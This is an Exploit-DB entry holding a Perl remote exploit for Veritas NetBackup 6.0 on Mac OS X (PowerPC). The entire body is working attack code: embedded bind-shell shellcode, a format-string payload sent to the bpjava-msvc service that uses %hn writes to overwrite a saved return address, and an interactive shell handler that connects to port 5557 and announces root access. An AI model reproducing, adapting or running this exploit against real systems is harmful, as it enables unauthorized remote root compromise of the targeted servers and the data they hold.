Exploit-DB #1265
Description: Veritas NetBackup 6.0 (OSX) - 'bpjava-msvc' Remote Command Execution
Type: remote
Platform: osx
Date: 2005-10-20
Author: Kevin Finisterre

Exploit:

#!/usr/bin/perl
# VERITAS-OSX.pl - VERITAS NetBackup Format Strings OSX/ppc Remote Exploit
# johnh[at]digitalmunition[dot]com
# bug found by kf_lists[at]digitalmunition[dot]com
# http://www.digitalmunition.com/
use POSIX;
use IO::Socket;
use IO::Select;

my $shellcode =   # /* OSX BINDSHELLCODE PORT=5557 NO-0x0 */
"\x60\x60\x60\x60" x 10 . 
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x7d\xa8\x02\xa6\x38\xc3\xe1\x1d".
"\x39\x80\x01\x18\x39\xad\x1f\xff\x81\xcd\xe1\x21\x81\xed\xe1\x1d".
"\x7d\xef\x72\x78\x91\xed\xe1\x1d\x7c\x06\x68\xac\x7c\x01\x04\xac".
"\x7c\x06\x6f\xac\x4c\x01\x01\x2c\x39\xad\xff\xfc\x39\x8c\xff\xfb".
"\x7d\x8c\x63\x79\x40\x82\xff\xd8\x94\x81\x7d\x7d\x94\x61\x7d\x7e".
"\x94\x41\x7d\x79\x94\xe1\x7d\x1e\xe8\xe1\x7d\x7d\xd0\xe1\x7f\x07".
"\xd0\x9f\x66\x07\xe4\xe1\x7d\x72\xac\xe3\x68\xca\xac\xe1\x7d\x7f".
"\xd0\x69\x7f\xd9\x94\x41\x7d\x6f\x94\xe1\x7d\x17\xd3\x22\x8e\x07".
"\xe8\xe1\x7d\x7d\xd0\xe1\x7f\x07\x94\xe1\x7d\x15\xd3\x22\x8e\x07".
"\xe8\xe1\x7d\x7d\xd0\xe1\x7f\x07\xd3\x22\x8e\x07\x94\xe1\x7d\x61".
"\x94\x61\x7d\x6f\x3c\x60\x82\x97\x94\x40\x82\x97\x94\x60\x82\x8f".
"\xe8\xe1\x7d\x7d\xd0\xe1\x7f\x07\xd0\x9f\x66\x07\x94\x41\x7d\x7d".
"\x94\xe1\x7d\x25\xd3\x22\x8e\x07\xd0\x45\x56\x07\xe8\xe1\x7d\x7d".
"\xd0\xe1\x7f\x07\x94\x44\x82\x80\x80\xe4\x82\x80\xec\x63\x82\x9a".
"\x94\xe1\x7d\x3d\xe8\xe1\x7d\x7d\xd0\xe1\x7f\x07\xd0\x44\x57\x06".
"\xec\x63\x82\x82\xd0\x89\x7f\xd9\x94\x82\x7d\x57\x3c\x80\x82\x87".
"\x3c\x40\x82\x83\x94\x60\x82\x87\x94\xe1\x7d\x44\xd0\xe1\x79\xd3".
"\xe8\xe1\x7d\x7d\xd0\xe1\x7f\x07\xd3\x01\x7d\x77\x83\x83\x14\x11".
"\x83\x82\x0e\x17\xac\xe1\x7d\x7f\xac\xe1\x7d\x7f";

my $host = shift || '192.168.1.111';
my $port = shift || 13722;
my $sock = new IO::Socket::INET(
                  PeerAddr => $host,
                  PeerPort => $port,
                  Proto    => 'tcp');
$sock or die "no socket :$!";

print $sock " 118      1\n" .
# "a" x 150 . "\n";
$shellcode . "\n";


print scalar <$sock>;
print scalar <$sock>;

#sleep 10;

print $sock " 101      6\n" . 

# my $ret = 0xbffe5738; # Saved return from frame 1 vsprintf
# write to 0xbffe5738+2 FIRST then write to 0xbffe5738. 
# this allows the wrap past 0xffff to occur so we can form 0010
"\xbf\xfe\x57\x3a" . "ZZZZ" . "\xbf\xfe\x57\x38"  . "%x" x 14 . 

# shellcode is around 0x001009e8

# "%2474x"    # 0x09e8
"%2280x"    # 0x0920?
. "%hn" . 
"%63212x."  # form 0x0010 by wrapping past 0xffff
. "%hn". 
"\n" .

"A" x 50 . "\n" .
"B" x 50 . "\n" . 
"C" x 50 . "\n" . 
# "D" x 50 . "\n" .  # shellcode alternate location?
$shellcode . "\n" .  
"E" x 50 . "\r\n";

print scalar <$sock>;

close $sock;


my $shellport = 5557;
print "[*] Connect to remote shell port\n";
my $sock = IO::Socket::INET->new (
                Proto => "tcp",
                PeerAddr => $host,
                PeerPort => $shellport,
                Type => SOCK_STREAM
);

if (! $sock)
{
        print "[*] Error, Seems Failed\n";
        exit (0);
}
print "[*] G0t R00T\n";
StartShell ($sock);
sub StartShell
{
        my ($client) = @_;
        my $sel = IO::Select->new();


        # unbuffered fun.


        Unblock(*STDIN);
        Unblock(*STDOUT);
        Unblock($client);

        select($client); $|++;
        select(STDIN);   $|++;
        select(STDOUT);  $|++;

        $sel->add($client);
        $sel->add(*STDIN);

        while (fileno($client))
        {
                my $fd;
                my @fds = $sel->can_read(1);
		foreach $fd (@fds)
                {
                        my $in = <$fd>;
                        if (! $in || ! $fd || ! $client)
                        {
                                print "[*] Closing connection.\n";
                                close($client);
                                exit(0);
                        }

                        if ($fd eq $client)
                        {
                                print STDOUT $in;
                                } else {
                                        print $client $in;
                                }
                        }
                }
                close ($client);
  exit (0);
}

sub Unblock {
        my $fd = shift;
        my $flags;
        $flags = fcntl($fd,F_GETFL,0) || die "Can't get flags for file handle: $!\n";
        fcntl($fd, F_SETFL, $flags|O_NONBLOCK) || die "Can't make handle nonblocking: $!\n";
}

# milw0rm.com [2005-10-20]